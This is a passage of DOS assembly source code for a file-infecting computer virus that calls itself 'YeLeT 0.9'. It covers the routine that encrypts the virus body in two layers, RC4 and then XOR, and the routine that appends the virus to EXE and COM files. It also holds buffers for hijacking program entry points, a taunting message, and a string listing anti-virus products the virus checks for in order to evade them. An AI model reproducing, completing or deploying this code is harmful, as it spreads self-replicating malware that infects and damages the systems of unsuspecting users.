mov byte ptr cs:[di],al
|
|
inc di
|
|
loop rc4_key_loopy
|
|
|
|
in al,40h
|
|
mov byte ptr cs:[bp+xor_value],al ; get a new 'random' key into xor_value
|
|
|
|
lea si,[bp+start] ; copy the whole virus code to the_end
|
|
lea di,[bp+the_end]
|
|
mov cx,the_end - start
|
|
rep movsb
|
|
|
|
mov dx,42 ; encrypt the 1st layer using RC4
|
|
call rc4expandkey
|
|
|
|
lea si,[bp+the_end]
|
|
add si,offset rc4_crypt_start
|
|
sub si,offset start
|
|
mov di,si
|
|
mov dx,the_end - rc4_crypt_start
|
|
call rc4crypt
|
|
|
|
|
|
lea si,[bp+the_end] ; encrypt the 2nd layer using XOR
|
|
add si,offset xor_crypt_start
|
|
sub si,offset start
|
|
mov di,si
|
|
mov cx,the_end - xor_crypt_start
|
|
call crypt
|
|
|
|
mov byte ptr cs:[bp+xor_value],0 ; set xor_value (decryption key) to zero
|
|
; (for bruteforce cracking)
|
|
|
|
ret ; return
|
|
encrypt endp
|
|
|
|
append proc
|
|
mov ah,40h ; write the first, unencrypted part of the
|
|
lea dx,[bp+start] ; virus into the file. (start till
|
|
mov cx,xor_crypt_start - start ; xor_crypt_start)
|
|
int 21h
|
|
|
|
|
|
mov ah,40h ; write the encrypted part into the file,
|
|
lea dx,[bp+the_end] ; beginning at the_end
|
|
add dx,offset xor_crypt_start
|
|
sub dx,offset start
|
|
mov cx,the_end - xor_crypt_start ; the_end - xor_crypt_start bytes.
|
|
int 21h
|
|
ret ; return
|
|
append endp
|
|
|
|
header db 0cdh,20h,1ah dup ('?') ; buffer for exe header and com stuff
|
|
old_ip dw offset exit_exe ; buffer for the original IP
|
|
old_cs dw 0 ; CS
|
|
old_sp dw 0fffeh ; SP
|
|
old_ss dw 0 ; SS
|
|
new_jump db 0e9h,0,0 ; buffer used by com infection to
|
|
original_3 db 3 dup(?) ; calculate a new jump
|
|
|
|
message1 db 'YeLeT 0.9, just another bug in your Micro$oft System...',10,13
|
|
db '$'
|
|
|
|
filesize dd ? ; buffer for the filesize [optimization
|
|
; needed! ;]
|
|
wincom db 'c:\windows\win.com',0
|
|
avs db 'scavtbf-fi' ; anti virus programs we are checking for
|
|
; SCan, AVp, TBav (and co.), F-prot and
|
|
; FIndviru
|
|
state db exe ; represents the current filetype
|
|
archiver db off
|
|
enuns db 7 dup(?) ; buffer for win95's ENUNS
|
|
|
|
the_end:
|
|
|
|
end start
|